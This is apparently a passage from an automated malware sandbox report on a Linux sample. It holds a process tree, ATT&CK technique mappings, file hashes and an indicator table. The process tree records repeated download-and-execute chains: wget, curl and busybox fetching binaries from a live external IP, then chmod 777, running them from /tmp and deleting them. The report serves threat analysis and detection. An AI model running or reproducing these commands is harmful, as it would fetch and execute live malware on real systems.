  PID:1628
- /bin/chmod
  chmod 777 tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
  2⤵
  - File and Directory Permissions Modification
  PID:1629
- /tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
  ./tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
  2⤵
  - Executes dropped EXE
  PID:1630
- /bin/rm
  rm tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
  2⤵
  PID:1631
- /usr/bin/wget
  wget http://216.126.231.240/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
  2⤵
  PID:1632
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
  2⤵
  - Writes file to tmp directory
  PID:1635
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
  2⤵
  PID:1636
- /bin/chmod
  chmod 777 B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
  2⤵
  - File and Directory Permissions Modification
  PID:1637
- /tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
  ./B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
  2⤵
  - Executes dropped EXE
  PID:1638
- /bin/rm
  rm B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
  2⤵
  PID:1639
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
  2⤵
  PID:1640
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
  2⤵
  - Writes file to tmp directory
  PID:1641
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
  2⤵
  PID:1642
- /bin/chmod
  chmod 777 ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
  2⤵
  - File and Directory Permissions Modification
  PID:1643
- /tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
  ./ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
  2⤵
  - Executes dropped EXE
  PID:1644
- /bin/rm
  rm ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
  2⤵
  PID:1645
- /usr/bin/wget
  wget http://216.126.231.240/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
  2⤵
  PID:1646
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
  2⤵
  - Writes file to tmp directory
  PID:1647
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
  2⤵
  PID:1648
- /bin/chmod
  chmod 777 1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
  2⤵
  - File and Directory Permissions Modification
  PID:1649
- /tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
  ./1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
  2⤵
  - Executes dropped EXE
  PID:1650
- /bin/rm
  rm 1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
  2⤵
  PID:1651
- /usr/bin/wget
  wget http://216.126.231.240/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
  2⤵
  PID:1652
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
  2⤵
  - Writes file to tmp directory
  PID:1653
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
  2⤵
  PID:1654
- /bin/chmod
  chmod 777 zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
  2⤵
  - File and Directory Permissions Modification
  PID:1655
- /tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
  ./zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
  2⤵
  - Executes dropped EXE
  PID:1656
- /bin/rm
  rm zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
  2⤵
  PID:1657
- /usr/bin/wget
  wget http://216.126.231.240/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
  2⤵
  PID:1658
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
  2⤵
  - Writes file to tmp directory
  PID:1659
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
  2⤵
  PID:1660
- /bin/chmod
  chmod 777 p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
  2⤵
  - File and Directory Permissions Modification
  PID:1661
- /tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
  ./p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
  2⤵
  - Executes dropped EXE
  PID:1662
- /bin/rm
  rm p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
  2⤵
  PID:1663

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit

ioc	pid	Process
/tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls	1490	1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
/tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs	1504	tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
/tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs	1510	B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
/tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G	1516	ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
/tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb	1522	zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
/tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe	1528	p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe
/tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm	1534	UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
/tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6	1540	3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
/tmp/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc	1546	nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
/tmp/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD	1552	C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
/tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn	1558	6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
/tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM	1564	L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
/tmp/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z	1570	Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
/tmp/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ	1576	TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
/tmp/UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm	1582	UEgQT9m3WX3kva37ht7UZsgw9xjpzOOLSm
/tmp/3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6	1588	3iDcm41EWcKaMhQD8lzQRBHNn3zyg4bns6
/tmp/6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn	1594	6tNBriFC2AOibUG6vjDJJR1VULNOIHpapn
/tmp/L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM	1600	L2TgpFoDXxhUo9MLIpad7ptPt4SNo9x4PM
/tmp/Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z	1606	Y4d9Rc02s5S1TC5d0xe1Z53jmgYfWaLG3z
/tmp/TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ	1612	TJ5LtzTWs8omHcniedNVc5eK6HbgIPSIYZ
/tmp/nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc	1618	nCucIrzHaAbO3wxaMfCyL98wydNfGmKFQc
/tmp/C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD	1624	C9Bqa0JTEoCtvWndyFctHZ4YlCPBedVKhD
/tmp/tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs	1630	tfWaybWJUVOKrAkkw6wUsjdnfo2FoC1JMs
/tmp/B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs	1638	B9tKithJtx2VaxOgudRvH49IF0LUCjuBWs
/tmp/ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G	1644	ZX19oe3AxCd9Tdv6bYxnhhczKTaB6N8J8G
/tmp/1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls	1650	1rQQQWtspmL1kpT95bhh7hVyerI0m3O9Ls
/tmp/zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb	1656	zTG9TPuN9msEZeJREXnkTGRUNLM1dMQvBb
/tmp/p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe	1662	p4MDg5xu0wQBOcueeu3E0uL6kXzLF9fKhe